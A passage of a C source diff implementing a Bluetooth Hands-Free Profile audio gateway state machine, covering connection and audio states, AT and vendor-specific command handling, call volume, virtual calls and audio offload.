PROFILE_STATE_DISCONNECTED); + } +} + +static void disconnected_exit(state_machine_t* sm) +{ + ag_state_machine_t* agsm = (ag_state_machine_t*)sm; + AG_DBG_EXIT(sm, &agsm->addr); +} + +static bool disconnected_process_event(state_machine_t* sm, uint32_t event, void* p_data) +{ + ag_state_machine_t* agsm = (ag_state_machine_t*)sm; + hfp_ag_data_t* data = (hfp_ag_data_t*)p_data; + AG_DBG_EVENT(sm, &agsm->addr, event); + + switch (event) { + case AG_CONNECT: + if (bt_sal_hfp_ag_connect(&agsm->addr) != BT_STATUS_SUCCESS) { + BT_ADDR_LOG("Connect failed for %s", &agsm->addr); + ag_service_notify_connection_state_changed(&agsm->addr, PROFILE_STATE_DISCONNECTED); + return false; + } + hsm_transition_to(sm, &connecting_state); + break; + case AG_STACK_EVENT_CONNECTION_STATE_CHANGED: { + profile_connection_state_t state = data->valueint1; + switch (state) { + case PROFILE_STATE_CONNECTED: + hsm_transition_to(sm, &connected_state); + update_remote_features(agsm, data->valueint3); + break; + case PROFILE_STATE_CONNECTING: + hsm_transition_to(sm, &connecting_state); + break; + case PROFILE_STATE_DISCONNECTED: + case PROFILE_STATE_DISCONNECTING: + BT_LOGW("Ignored connection state:%d", state); + break; + } + } break; + case AG_OFFLOAD_START_REQ: + audio_ctrl_send_control_event(PROFILE_HFP_AG, AUDIO_CTRL_EVT_START_FAIL); + break; + case AG_OFFLOAD_STOP_REQ: + audio_ctrl_send_control_event(PROFILE_HFP_AG, AUDIO_CTRL_EVT_STOPPED); + break; + case AG_OFFLOAD_STOP_EVT: + audio_ctrl_send_control_event(PROFILE_HFP_AG, AUDIO_CTRL_EVT_STOPPED); + break; + default: + BT_LOGW("Unexpected event:%" PRIu32 "", event); + break; + } + return true; +} + +static void connecting_enter(state_machine_t* sm) +{ + ag_state_machine_t* agsm = (ag_state_machine_t*)sm; + AG_DBG_ENTER(sm, &agsm->addr); + agsm->connect_timer = service_loop_timer_no_repeating(AG_TIMEOUT, connect_timeout, agsm); + ag_service_notify_connection_state_changed(&agsm->addr, PROFILE_STATE_CONNECTING); + + bt_pm_busy(PROFILE_HFP_AG, &agsm->addr); + bt_pm_idle(PROFILE_HFP_AG, &agsm->addr); +} + +static void connecting_exit(state_machine_t* sm) +{ + ag_state_machine_t* agsm = (ag_state_machine_t*)sm; + AG_DBG_EXIT(sm, &agsm->addr); + service_loop_cancel_timer(agsm->connect_timer); + agsm->connect_timer = NULL; +} + +static void ag_retry_callback(service_timer_t* timer, void* data) +{ + char _addr_str[BT_ADDR_STR_LENGTH] = { 0 }; + state_machine_t* sm = (state_machine_t*)data; + ag_state_machine_t* agsm = (ag_state_machine_t*)sm; + hfp_ag_state_t state; + + assert(agsm); + + bt_addr_ba2str(&agsm->addr, _addr_str); + state = ag_state_machine_get_state(agsm); + BT_LOGD("%s: device=[%s], state=%d, retry_cnt=%d", __func__, _addr_str, state, agsm->retry_cnt); + if (state == HFP_AG_STATE_DISCONNECTED) { + if (bt_sal_hfp_ag_connect(&agsm->addr) == BT_STATUS_SUCCESS) { + hsm_transition_to(sm, &connecting_state); + } else { + BT_LOGI("failed to connect %s", _addr_str); + BT_DFX_HFP_CONN_ERROR(BT_DFXE_HFP_AG_CONN_RETRY_FAIL); + } + } + + agsm->retry_timer = NULL; +} + +static void process_vendor_specific_at(bt_address_t* addr, const char* at_string) +{ + uint8_t company_id_index; + uint16_t company_id; + size_t prefix_size; + char command[HFP_COMPANY_PREFIX_LEN_MAX + 1] = { 0 }; + const char* value; + const vendor_specific_at_prefix_t* prefix; + + if (!at_string) + return; + + for (company_id_index = 0; company_id_index < ARRAY_SIZE(company_id_map); company_id_index++) { + prefix = &company_id_map[company_id_index]; + prefix_size = strlen(prefix->at_prefix); + if (strlen(at_string) <= prefix_size + 3 /* "AT" and "=" */) { + continue; + } + if (strncmp(at_string + 2 /* "AT" */, prefix->at_prefix, prefix_size)) { + continue; + } + value = at_string + strlen(prefix->at_prefix) + 3; /* The value is the string after "AT+XIAOMI=" */ + if (value[0] == '\r' || value[0] == '\n') { + break; + } + strlcpy(command, prefix->at_prefix, sizeof(command)); + company_id = prefix->company_id; + + BT_LOGD("%s, command:%s, company_id:0x%04X, value:%s", __FUNCTION__, command, company_id, value); + ag_service_notify_vendor_specific_cmd(addr, command, company_id, value); + bt_sal_hfp_ag_send_at_cmd(addr, "\r\nOK\r\n", sizeof("\r\nOK\r\n")); + return; + } + BT_LOGD("unknown AT command:%s", at_string); + bt_sal_hfp_ag_error_response(addr, HFP_ATCMD_RESULT_CMEERR_OPERATION_NOTSUPPORTED); +} + +static void hfp_ag_send_vendor_specific_at_cmd(bt_address_t* addr, const char* command, const char* value) +{ + char at_command[HFP_AT_LEN_MAX + 1] = "\r\n"; + if (!command || !value) + return; + + strlcat(at_command, command, sizeof(at_command)); + strlcat(at_command, ": ", sizeof(at_command)); + strlcat(at_command, value, sizeof(at_command)); + strlcat(at_command, "\r\n", sizeof(at_command)); + BT_LOGD("%s, command:%s, value:%s", __FUNCTION__, command, value); + bt_sal_hfp_ag_send_at_cmd(addr, at_command, strlen(at_command)); +} + +static bool connecting_process_event(state_machine_t* sm, uint32_t event, void* p_data) +{ + ag_state_machine_t* agsm = (ag_state_machine_t*)sm; + hfp_ag_data_t* data = (hfp_ag_data_t*)p_data; + uint32_t random_timeout; + + AG_DBG_EVENT(sm, &agsm->addr, event); + + switch (event) { + case AG_DISCONNECT: + /* handle ? */ + break; + case AG_CONNECT_TIMEOUT: + bt_sal_hfp_ag_disconnect(&agsm->addr); + hsm_transition_to(sm, &disconnected_state); + break; + case AG_SEND_AT_COMMAND: + bt_sal_hfp_ag_send_at_cmd(&agsm->addr, data->string1, strlen(data->string1)); + break; + case AG_SEND_VENDOR_SPECIFIC_AT_COMMAND: + hfp_ag_send_vendor_specific_at_cmd(&agsm->addr, data->string1, data->string2); + break; + case AG_STACK_EVENT_CONNECTION_STATE_CHANGED: { + profile_connection_state_t state = data->valueint1; + profile_connection_reason_t reason = data->valueint2; + + switch (state) { + case PROFILE_STATE_CONNECTED: + hsm_transition_to(sm, &connected_state); + update_remote_features(agsm, data->valueint3); + break; + case PROFILE_STATE_DISCONNECTED: + if (reason == PROFILE_REASON_COLLISION && agsm->retry_cnt < HFP_AG_RETRY_MAX) { + /* failed to establish HFP connection, retry for up to HFP_AG_RETRY_MAX times */ + if (agsm->retry_timer == NULL) { + srand(time(NULL)); /* set random seed */ + random_timeout = 100 + (rand() % 800); + BT_LOGD("retry HFP connection with device:[%s], delay=%" PRIu32 "ms", + bt_addr_str(&agsm->addr), random_timeout); + agsm->retry_timer = service_loop_timer(random_timeout, 0, ag_retry_callback, sm); + agsm->retry_cnt++; + } + } + hsm_transition_to(sm, &disconnected_state); + break; + case PROFILE_STATE_CONNECTING: + case PROFILE_STATE_DISCONNECTING: + BT_LOGW("Ignored connection state:%d", state); + break; + } + } break; + case AG_STACK_EVENT_CODEC_CHANGED: + agsm->codec = data->valueint1 == HFP_CODEC_MSBC ? HFP_CODEC_MSBC : HFP_CODEC_CVSD; + break; + case AG_STACK_EVENT_AT_CIND_REQUEST: + process_cind_request(agsm); + break; + case AG_STACK_EVENT_AT_COMMAND: + process_vendor_specific_at(&agsm->addr, data->string1); + break; + case AG_OFFLOAD_START_REQ: + audio_ctrl_send_control_event(PROFILE_HFP_AG, AUDIO_CTRL_EVT_START_FAIL); + break; + case AG_OFFLOAD_STOP_REQ: + audio_ctrl_send_control_event(PROFILE_HFP_AG, AUDIO_CTRL_EVT_STOPPED); + break; + case AG_OFFLOAD_STOP_EVT: + audio_ctrl_send_control_event(PROFILE_HFP_AG, AUDIO_CTRL_EVT_STOPPED); + break; + default: + BT_LOGW("Unexpected event:%" PRId32 "", event); + break; + } + return true; +} + +static void disconnecting_enter(state_machine_t* sm) +{ + ag_state_machine_t* agsm = (ag_state_machine_t*)sm; + AG_DBG_ENTER(sm, &agsm->addr); + ag_service_notify_connection_state_changed(&agsm->addr, PROFILE_STATE_DISCONNECTING); +} + +static void disconnecting_exit(state_machine_t* sm) +{ + ag_state_machine_t* agsm = (ag_state_machine_t*)sm; + AG_DBG_EXIT(sm, &agsm->addr); +} + +static bool disconnecting_process_event(state_machine_t* sm, uint32_t event, void* p_data) +{ + ag_state_machine_t* agsm = (ag_state_machine_t*)sm; + hfp_ag_data_t* data = (hfp_ag_data_t*)p_data; + AG_DBG_EVENT(sm, &agsm->addr, event); + switch (event) { + case AG_STACK_EVENT_CONNECTION_STATE_CHANGED: { + profile_connection_state_t state = data->valueint1; + switch (state) { + case PROFILE_STATE_DISCONNECTED: + hsm_transition_to(sm, &disconnected_state); + break; + default: + BT_LOGW("Ignored connection state:%d", state); + break; + } + } break; + case AG_OFFLOAD_START_REQ: + audio_ctrl_send_control_event(PROFILE_HFP_AG, AUDIO_CTRL_EVT_START_FAIL); + break; + case AG_OFFLOAD_STOP_REQ: + audio_ctrl_send_control_event(PROFILE_HFP_AG, AUDIO_CTRL_EVT_STOPPED); + break; + case AG_OFFLOAD_STOP_EVT: + audio_ctrl_send_control_event(PROFILE_HFP_AG, AUDIO_CTRL_EVT_STOPPED); + break; + default: + BT_LOGW("Unexpected event:%" PRIu32 "", event); + break; + } + return true; +} + +static void handle_ag_set_voice_call_volume(state_machine_t* sm, hfp_volume_type_t type, uint8_t volume) +{ + ag_state_machine_t* agsm = (ag_state_machine_t*)sm; + bt_status_t status = BT_STATUS_SUCCESS; + int new_volume = INVALID_MEDIA_VOLUME; + + if (type == HFP_VOLUME_TYPE_SPK) { + agsm->spk_volume = volume; + + new_volume = bt_media_volume_hfp_to_media(volume); + if (new_volume == agsm->media_volume) { + return; + } + + status = bt_media_set_voice_call_volume(new_volume); + if (status != BT_STATUS_SUCCESS) { + BT_LOGE("Set media voice call volume failed"); + } else if (agsm->set_volume_cnt < UINT32_MAX) { + agsm->set_volume_cnt++; + } + + } else if (type == HFP_VOLUME_TYPE_MIC) { + agsm->mic_volume = volume; + } +} + +static bool default_process_event(state_machine_t* sm, uint32_t event, void* p_data) +{ + ag_state_machine_t* agsm = (ag_state_machine_t*)sm; + hfp_ag_data_t* data = (hfp_ag_data_t*)p_data; + + BT_LOGD("%s, event:%" PRIu32 "", __func__, event); + switch (event) { + case AG_VOICE_RECOGNITION_START: + if (!agsm->recognition_active) { + bt_sal_hfp_ag_start_voice_recognition(&agsm->addr); + } + break; + case AG_VOICE_RECOGNITION_STOP: + if (agsm->recognition_active) { + bt_sal_hfp_ag_stop_voice_recognition(&agsm->addr); + } + break; + case AG_PHONE_STATE_CHANGE: { + uint8_t num_active = data->valueint1; + uint8_t num_held = data->valueint2; + hfp_ag_call_state_t call_state = data->valueint3; + hfp_call_addrtype_t type = data->valueint4; + if (((num_active + num_held) > 0) + || (call_state != HFP_AG_CALL_STATE_IDLE && call_state != HFP_AG_CALL_STATE_DISCONNECTED)) { + set_virtual_call_started(sm, false); + } + + bt_sal_hfp_ag_phone_state_change(&agsm->addr, num_active, num_held, call_state, type, + data->string1, data->string2); + } break; + case AG_DEVICE_STATUS_CHANGED: + bt_sal_hfp_ag_notify_device_status_changed(&agsm->addr, data->valueint1, + data->valueint2, data->valueint3, + data->valueint4); + break; + case AG_SET_INBAND_RING_ENABLE: + bt_sal_hfp_ag_set_inband_ring_enable(&agsm->addr, true); + break; + case AG_SEND_AT_COMMAND: + bt_sal_hfp_ag_send_at_cmd(&agsm->addr, data->string1, strlen(data->string1)); + break; + case AG_SEND_VENDOR_SPECIFIC_AT_COMMAND: + hfp_ag_send_vendor_specific_at_cmd(&agsm->addr, data->string1, data->string2); + break; + case AG_DIALING_RESULT: + if (agsm->dial_out_timer) { + service_loop_cancel_timer(agsm->dial_out_timer); + agsm->dial_out_timer = NULL; + bt_sal_hfp_ag_dial_response(&agsm->addr, data->valueint1); + } + break; + case AG_STACK_EVENT_VR_STATE_CHANGED: + agsm->recognition_active = data->valueint1; + ag_service_notify_vr_state_changed(&agsm->addr, data->valueint1); + break; + case AG_STACK_EVENT_CODEC_CHANGED: + agsm->codec = data->valueint1 == HFP_CODEC_MSBC ? HFP_CODEC_MSBC : HFP_CODEC_CVSD; + break; + case AG_STACK_EVENT_VOLUME_CHANGED: { + hfp_volume_type_t type = data->valueint1; + uint8_t ag_vol = data->valueint2; + handle_ag_set_voice_call_volume(sm, type, ag_vol); + BT_LOGD("Volume changed, %s:%" PRIu8, type == HFP_VOLUME_TYPE_MIC ? "Mic" : "Spk", ag_vol); + ag_service_notify_volume_changed(&agsm->addr, type, ag_vol); + break; + } + case AG_STACK_EVENT_AT_CIND_REQUEST: + process_cind_request(agsm); + break; + case AG_STACK_EVENT_AT_CLCC_REQUEST: + if (agsm->virtual_call_started) { + bt_sal_hfp_ag_clcc_response(&agsm->addr, 1, HFP_CALL_DIRECTION_INCOMING, + HFP_AG_CALL_STATE_ACTIVE, HFP_CALL_MODE_VOICE, HFP_CALL_MPTY_TYPE_SINGLE, + HFP_CALL_ADDRTYPE_UNKNOWN, HFP_FAKE_NUMBER); + bt_sal_hfp_ag_clcc_response(&agsm->addr, 0, 0, 0, 0, 0, 0, NULL); + } else { +#ifdef CONFIG_LIB_DBUS + /* system call interface */ + tele_service_query_current_call(&agsm->addr); +#else + ag_service_notify_clcc_cmd(&agsm->addr); +#endif + } + break; + case AG_STACK_EVENT_AT_COPS_REQUEST: { + /* system call interface */ + char* operation_name = NULL; + operation_name = tele_service_get_operator(); + BT_LOGD("Operation name:%s", operation_name); + bt_sal_hfp_ag_cops_response(&agsm->addr, operation_name, operation_name ? strlen(operation_name) : 0); + } break; + case AG_STACK_EVENT_BATTERY_UPDATE: + ag_service_notify_hf_battery_update(&agsm->addr, data->valueint1); + break; + case AG_STACK_EVENT_ANSWER_CALL: + /* system call interface */ + tele_service_answer_call(); + ag_service_notify_call_answered(&agsm->addr); + break; + case AG_STACK_EVENT_REJECT_CALL: + /* system call interface */ + tele_service_reject_call(); + ag_service_notify_call_rejected(&agsm->addr); + break; + case AG_STACK_EVENT_HANGUP_CALL: + /* system call interface */ + tele_service_hangup_call(); + ag_service_notify_call_hangup(&agsm->addr); + break; + case AG_STACK_EVENT_DIAL_NUMBER: { + set_virtual_call_started(sm, false); + if (data->string1) { + BT_LOGD("Dial number:%s", data->string1); + /* system call interface */ + if (tele_service_dial_number(data->string1) != BT_STATUS_SUCCESS) + bt_sal_hfp_ag_dial_response(&agsm->addr, HFP_ATCMD_RESULT_ERROR); + else + agsm->dial_out_timer = service_loop_timer_no_repeating(5000, dial_out_timeout, NULL); + } else { + BT_LOGD("Redial last number, currently not supported"); + bt_sal_hfp_ag_dial_response(&agsm->addr, HFP_ATCMD_RESULT_ERROR); + } + ag_service_notify_call_dial(&agsm->addr, data->string1 ? data->string1 : NULL); + } break; + case AG_STACK_EVENT_DIAL_MEMORY: + /* system call interface */ + break; + case AG_STACK_EVENT_CALL_CONTROL: { + hfp_call_control_t chld = data->valueint1; + /* system call interface */ + tele_service_call_control(chld); + } break; + case AG_STACK_EVENT_AT_COMMAND: { + const char* at_cmd = data->string1; + + if (at_cmd_check_test(&agsm->addr, at_cmd)) { + break; + } else { + process_vendor_specific_at(&agsm->addr, at_cmd); + } + } break; + case AG_STACK_EVENT_SEND_DTMF: + /* system call interface */ + break; + case AG_STACK_EVENT_NREC_REQ: + /* disable local ANC */ + if (data->valueint1 == 0) + bt_media_set_anc_enable(false); + break; + case AG_OFFLOAD_STOP_EVT: + audio_ctrl_send_control_event(PROFILE_HFP_AG, AUDIO_CTRL_EVT_STOPPED); + break; + default: + BT_LOGW("Unexpected event:%" PRIu32 "", event); + break; + } + return true; +} + +static void default_connection_event_process(state_machine_t* sm, hfp_ag_data_t* data) +{ + profile_connection_state_t state = data->valueint1; + + switch (state) { + case PROFILE_STATE_DISCONNECTED: + hsm_transition_to(sm, &disconnected_state); + break; + case PROFILE_STATE_DISCONNECTING: + hsm_transition_to(sm, &disconnecting_state); + break; + case PROFILE_STATE_CONNECTING: + case PROFILE_STATE_CONNECTED: + BT_LOGW("Ignored connection state:%d", state); + break; + } +} + +static void hfp_ag_voice_volume_change_callback(void* cookie, int volume) +{ + ag_state_machine_t* agsm = (ag_state_machine_t*)cookie; + hfp_ag_msg_t* msg; + + agsm->media_volume = volume; + if (agsm->set_volume_cnt) { + agsm->set_volume_cnt--; + return; + } + + msg = hfp_ag_msg_new(AG_SET_VOLUME, &agsm->addr); + if (!msg) { + BT_LOGE("New ag message alloc failed"); + return; + } + + msg->data.valueint1 = HFP_VOLUME_TYPE_SPK; + msg->data.valueint2 = volume; + hfp_ag_send_message(msg); +} + +static void set_virtual_call_started(state_machine_t* sm, bool started) +{ + ag_state_machine_t* agsm = (ag_state_machine_t*)sm; + if (agsm->virtual_call_started == started) + return; + + BT_LOGD("%s, started = %d", __func__, started); + agsm->virtual_call_started = started; + + if (started) { + bt_sal_hfp_ag_phone_state_change(&agsm->addr, 0, 0, HFP_AG_CALL_STATE_DIALING, HFP_CALL_ADDRTYPE_UNKNOWN, "", ""); + bt_sal_hfp_ag_phone_state_change(&agsm->addr, 0, 0, HFP_AG_CALL_STATE_ALERTING, HFP_CALL_ADDRTYPE_UNKNOWN, "", ""); + bt_sal_hfp_ag_phone_state_change(&agsm->addr, 1, 0, HFP_AG_CALL_STATE_ACTIVE, HFP_CALL_ADDRTYPE_UNKNOWN, "", ""); + } else { + bt_sal_hfp_ag_phone_state_change(&agsm->addr, 0, 0, HFP_AG_CALL_STATE_DISCONNECTED, HFP_CALL_ADDRTYPE_UNKNOWN, "", ""); + bt_sal_hfp_ag_phone_state_change(&agsm->addr, 0, 0, HFP_AG_CALL_STATE_IDLE, HFP_CALL_ADDRTYPE_UNKNOWN, "", ""); + } +} + +static void connected_enter(state_machine_t* sm) +{ + hfp_ag_msg_t* msg; + ag_state_machine_t* agsm = (ag_state_machine_t*)sm; + AG_DBG_ENTER(sm, &agsm->addr); + uint8_t previous_state = hsm_get_state_value(hsm_get_previous_state(sm)); + + bt_pm_conn_open(PROFILE_HFP_AG, &agsm->addr); + + if (previous_state < HFP_AG_STATE_CONNECTED) { + if (bt_media_get_voice_call_volume(&agsm->media_volume) != BT_STATUS_SUCCESS) { + BT_LOGE("Get voice call volume failed"); + } + agsm->volume_listener = bt_media_listen_voice_call_volume_change(hfp_ag_voice_volume_change_callback, agsm); + agsm->retry_cnt = 0; + if (!agsm->volume_listener) { + BT_LOGE("Start to listen voice call volume failed"); + } + ag_service_notify_connection_state_changed(&agsm->addr, PROFILE_STATE_CONNECTED); + } else { + ag_service_notify_audio_state_changed(&agsm->addr, HFP_AUDIO_STATE_DISCONNECTED); + } + if (flag_isset(agsm, PENDING_DISCONNECT)) { + msg = hfp_ag_msg_new(AG_DISCONNECT, &agsm->addr); + if (msg) { + ag_state_machine_dispatch(agsm, msg); + hfp_ag_msg_destory(msg); + } else { + BT_LOGE("message alloc failed"); + } + } +} + +static void connected_exit(state_machine_t* sm) +{ + ag_state_machine_t* agsm = (ag_state_machine_t*)sm; + AG_DBG_EXIT(sm, &agsm->addr); +} + +static void bt_hci_event_callback(bt_hci_event_t* hci_event, void* context) +{ + ag_state_machine_t* agsm = (ag_state_machine_t*)context; + hfp_ag_msg_t* msg; + hfp_ag_event_t event; + + BT_LOGD("%s, evt_code:0x%x, len:%d", __func__, hci_event->evt_code, + hci_event->length); + BT_DUMPBUFFER("vsc", (uint8_t*)hci_event->params, hci_event->length); + + if (flag_isset(agsm, PENDING_OFFLOAD_START)) { + event = AG_OFFLOAD_START_EVT; + flag_clear(agsm, PENDING_OFFLOAD_START); + } else if (flag_isset(agsm, PENDING_OFFLOAD_STOP)) { + event = AG_OFFLOAD_STOP_EVT; + flag_clear(agsm, PENDING_OFFLOAD_STOP); + } else { + return; + } + + msg = hfp_ag_event_new_ext(event, &agsm->addr, hci_event, sizeof(bt_hci_event_t) + hci_event->length); + hfp_ag_send_message(msg); +} + +static bt_status_t ag_offload_send_cmd(ag_state_machine_t* agsm, bool is_start) +{ + uint8_t ogf; + uint16_t ocf; + size_t size; + uint8_t* payload; + hfp_offload_config_t config = { 0 }; + uint8_t offload[CONFIG_VSC_MAX_LEN]; + + config.sco_hdl = agsm->sco_conn_handle; + config.sco_codec = agsm->codec; + if (is_start) { + if (!hfp_offload_start_builder(&config, offload, &size)) { + BT_LOGE("HFP AG offload start builder failed"); + assert(0); + } + } else { + if (!hfp_offload_stop_builder(&config, offload, &size)) { + BT_LOGE("HFP AG offload stop builder failed"); + assert(0); + } + } + + payload = offload; + STREAM_TO_UINT8(ogf, payload); + STREAM_TO_UINT16(ocf, payload); + size -= sizeof(ogf) + sizeof(ocf); + + return bt_sal_send_hci_command(PRIMARY_ADAPTER, ogf, ocf, size, payload, bt_hci_event_callback, agsm); +} + +static bool is_virtual_call_allowed(state_machine_t* sm) +{ + ag_state_machine_t* agsm = (ag_state_machine_t*)sm; + uint32_t state; + uint8_t num_active, num_held, call_state; + + state = ag_state_machine_get_state(agsm); + if (state != HFP_AG_STATE_CONNECTED) + return false; + + if (agsm->virtual_call_started) + return false; + + tele_service_get_phone_state(&num_active, &num_held, &call_state); + if (num_active || num_held + || (call_state != HFP_AG_CALL_STATE_IDLE && call_state != HFP_AG_CALL_STATE_DISCONNECTED)) + return false; + + return true; +} + +static bool connected_process_event(state_machine_t* sm, uint32_t event, void* p_data) +{ + ag_state_machine_t* agsm = (ag_state_machine_t*)sm; + hfp_ag_data_t* data = (hfp_ag_data_t*)p_data; + AG_DBG_EVENT(sm, &agsm->addr, event); + + switch (event) { + case AG_DISCONNECT: + if (bt_sal_hfp_ag_disconnect(&agsm->addr) != BT_STATUS_SUCCESS) + BT_ADDR_LOG("Disconnect failed for :%s", &agsm->addr); + + hsm_transition_to(sm, &disconnecting_state); + break; + case AG_CONNECT_AUDIO: + if (bt_sal_hfp_ag_connect_audio(&agsm->addr) != BT_STATUS_SUCCESS) { + ag_service_notify_audio_state_changed(&agsm->addr, HFP_AUDIO_STATE_DISCONNECTED); + return false; + } + hsm_transition_to(sm, &audio_connecting_state); + break; + case AG_START_VIRTUAL_CALL: + if (!is_virtual_call_allowed(sm)) { + ag_service_notify_audio_state_changed(&agsm->addr, HFP_AUDIO_STATE_DISCONNECTED); + return false; + } + + set_virtual_call_started(sm, true); + + if (bt_sal_hfp_ag_connect_audio(&agsm->addr) != BT_STATUS_SUCCESS) { + set_virtual_call_started(sm, false); + ag_service_notify_audio_state_changed(&agsm->addr, HFP_AUDIO_STATE_DISCONNECTED); + return false; + } + hsm_transition_to(sm, &audio_connecting_state); + break; + case AG_STACK_EVENT_AUDIO_REQ: + if (bt_sal_sco_connection_reply(PRIMARY_ADAPTER, &agsm->addr, true) != BT_STATUS_SUCCESS) { + BT_ADDR_LOG("Reply audio request fail:%s", &agsm->addr); + return false; + } + hsm_transition_to(sm, &audio_connecting_state); + break; + case AG_STACK_EVENT_CONNECTION_STATE_CHANGED: + default_connection_event_process(sm, data); + break; + case AG_STACK_EVENT_AUDIO_STATE_CHANGED: { + hfp_audio_state_t state = data->valueint1; + + switch (state) { + case HFP_AUDIO_STATE_CONNECTED: + agsm->sco_conn_handle = data->valueint2; + hsm_transition_to(sm, &audio_on_state); + break; + case HFP_AUDIO_STATE_DISCONNECTED: + default: + BT_LOGW("Ignored audio connection state:%d", state); + break; + } + } break; + case AG_OFFLOAD_START_REQ: + audio_ctrl_send_control_event(PROFILE_HFP_AG, AUDIO_CTRL_EVT_START_FAIL); + break; + case AG_OFFLOAD_STOP_REQ: + audio_ctrl_send_control_event(PROFILE_HFP_AG, AUDIO_CTRL_EVT_STOPPED); + break; + case AG_OFFLOAD_STOP_EVT: + audio_ctrl_send_control_event(PROFILE_HFP_AG, AUDIO_CTRL_EVT_STOPPED); + break; + default: + default_process_event(sm, event, p_data); + break; + } + return true; +} + +static void audio_connecting_enter(state_machine_t* sm) +{ + ag_state_machine_t* agsm = (ag_state_machine_t*)sm; + AG_DBG_ENTER(sm, &agsm->addr); + ag_service_notify_audio_state_changed(&agsm->addr, HFP_AUDIO_STATE_CONNECTING); +} + +static void audio_connecting_exit(state_machine_t* sm) +{ + ag_state_machine_t* agsm = (ag_state_machine_t*)sm; + AG_DBG_EXIT(sm, &agsm->addr); +} + +static bool audio_connecting_process_event(state_machine_t* sm, uint32_t event, void* p_data) +{ + ag_state_machine_t* agsm = (ag_state_machine_t*)sm; + hfp_ag_data_t* data = (hfp_ag_data_t*)p_data; + AG_DBG_EVENT(sm, &agsm->addr, event); + + switch (event) { + case AG_DISCONNECT: + /* Temporary solution: disconnect SLC directly. TODO: defer disconnect message */ + if (bt_sal_hfp_ag_disconnect(&agsm->addr) != BT_STATUS_SUCCESS) { + ag_service_notify_audio_state_changed(&agsm->addr, HFP_AUDIO_STATE_DISCONNECTED); + } + hsm_transition_to(sm, &disconnecting_state); + break; + case AG_DISCONNECT_AUDIO: + /* TODO: handle */ + BT_LOGD("defer DISCONNECT_AUDIO message"); + break; + case AG_STOP_VIRTUAL_CALL: + /* TODO: handle */ + BT_LOGD("defer STOP_VITRUAL_CALL message"); + break; + case AG_STACK_EVENT_AUDIO_REQ: + BT_LOGD("already in audio connecting state"); + break; + case AG_AUDIO_TIMEOUT: + /* TODO: handle */ + break; + case AG_STACK_EVENT_CONNECTION_STATE_CHANGED: + default_connection_event_process(sm, p_data); + break; + case AG_STACK_EVENT_AUDIO_STATE_CHANGED: { + hfp_audio_state_t state = data->valueint1; + + switch (state) { + case HFP_AUDIO_STATE_CONNECTED: + agsm->sco_conn_handle = data->valueint2; + hsm_transition_to(sm, &audio_on_state); + break; + case HFP_AUDIO_STATE_DISCONNECTED: + hsm_transition_to(sm, &connected_state); + break; + default: + BT_LOGW("Ignored audio connection state:%d", state); + break; + } + } break; + case AG_OFFLOAD_START_REQ: + audio_ctrl_send_control_event(PROFILE_HFP_AG, AUDIO_CTRL_EVT_START_FAIL); + break; + case AG_OFFLOAD_STOP_REQ: + audio_ctrl_send_control_event(PROFILE_HFP_AG, AUDIO_CTRL_EVT_STOPPED); + break; + case AG_OFFLOAD_STOP_EVT: + audio_ctrl_send_control_event(PROFILE_HFP_AG, AUDIO_CTRL_EVT_STOPPED); + break; + default: + default_process_event(sm, event, p_data); + break; + } + return true; +} + +static void hfp_ag_offload_timeout_callback(service_timer_t* timer, void* data) +{ + ag_state_machine_t* agsm = (ag_state_machine_t*)data; + hfp_ag_msg_t* msg; + + msg = hfp_ag_msg_new(AG_OFFLOAD_TIMEOUT_EVT, &agsm->addr); + ag_state_machine_dispatch(agsm, msg); + BT_DFX_HFP_OFFLOAD_ERROR(BT_DFXE_OFFLOAD_START_TIMEOUT); + + hfp_ag_msg_destory(msg); +} + +static void audio_on_enter(state_machine_t* sm) +{ + ag_state_machine_t* agsm = (ag_state_machine_t*)sm; + AG_DBG_ENTER(sm, &agsm->addr); + + bt_pm_sco_open(PROFILE_HFP_AG, &agsm->addr); + + /* TODO: get volume */ + /* TODO: set remote volume */ + bt_media_set_hfp_samplerate(agsm->codec == HFP_CODEC_MSBC ? 16000 : 8000); + bt_media_set_sco_available(); + ag_service_notify_audio_state_changed(&agsm->addr, HFP_AUDIO_STATE_CONNECTED); +} + +static void audio_on_exit(state_machine_t* sm) +{ + ag_state_machine_t* agsm = (ag_state_machine_t*)sm; + hfp_ag_msg_t* msg; + + AG_DBG_EXIT(sm, &agsm->addr); + + bt_pm_busy(PROFILE_HFP_AG, &agsm->addr); + bt_pm_sco_close(PROFILE_HFP_AG, &agsm->addr); + /* set sco device unavaliable */ + bt_media_set_sco_unavailable(); + + set_virtual_call_started(sm, false); + if (agsm->offloading) { + /* In case that AUDIO_CTRL_CMD_STOP is not received on time */ + msg = hfp_ag_msg_new(AG_OFFLOAD_STOP_REQ, &agsm->addr); + if (msg) { + ag_state_machine_dispatch(agsm, msg); + hfp_ag_msg_destory(msg); + } else { + BT_LOGE("message alloc failed"); + } + } +} + +static bool audio_on_process_event(state_machine_t* sm, uint32_t event, void* p_data) +{ + ag_state_machine_t* agsm = (ag_state_machine_t*)sm; + hfp_ag_data_t* data = (hfp_ag_data_t*)p_data; + uint8_t status; + + AG_DBG_EVENT(sm, &agsm->addr, event); + + switch (event) { + case AG_DISCONNECT: + if (bt_sal_hfp_ag_disconnect_audio(&agsm->addr) == BT_STATUS_SUCCESS) { + flag_set(agsm, PENDING_DISCONNECT); + hsm_transition_to(sm, &audio_disconnecting_state); + BT_LOGD("Wait for SCO disconnetion first"); + return false; + } + if (bt_sal_hfp_ag_disconnect(&agsm->addr) != BT_STATUS_SUCCESS) { + ag_service_notify_audio_state_changed(&agsm->addr, HFP_AUDIO_STATE_DISCONNECTED); + } + hsm_transition_to(sm, &disconnecting_state); + break; + case AG_DISCONNECT_AUDIO: + if (bt_sal_hfp_ag_disconnect_audio(&agsm->addr) != BT_STATUS_SUCCESS) { + ag_service_notify_audio_state_changed(&agsm->addr, HFP_AUDIO_STATE_DISCONNECTED); + hsm_transition_to(sm, &connected_state); + return false; + } + hsm_transition_to(sm, &audio_disconnecting_state); + break; + case AG_STOP_VIRTUAL_CALL: + if (!agsm->virtual_call_started) { + BT_LOGW("Virtual call not started"); + return false; + } + + set_virtual_call_started(sm, false); + + if (bt_sal_hfp_ag_disconnect_audio(&agsm->addr) != BT_STATUS_SUCCESS) { + ag_service_notify_audio_state_changed(&agsm->addr, HFP_AUDIO_STATE_DISCONNECTED); + hsm_transition_to(sm, &connected_state); + return false; + } + hsm_transition_to(sm, &audio_disconnecting_state); + break; + case AG_VOICE_RECOGNITION_START: + case AG_VOICE_RECOGNITION_STOP: + /* TODO: should support VOICE_RECOGNITION_STOP */ + break; + case AG_SET_VOLUME: { + hfp_volume_type_t type = 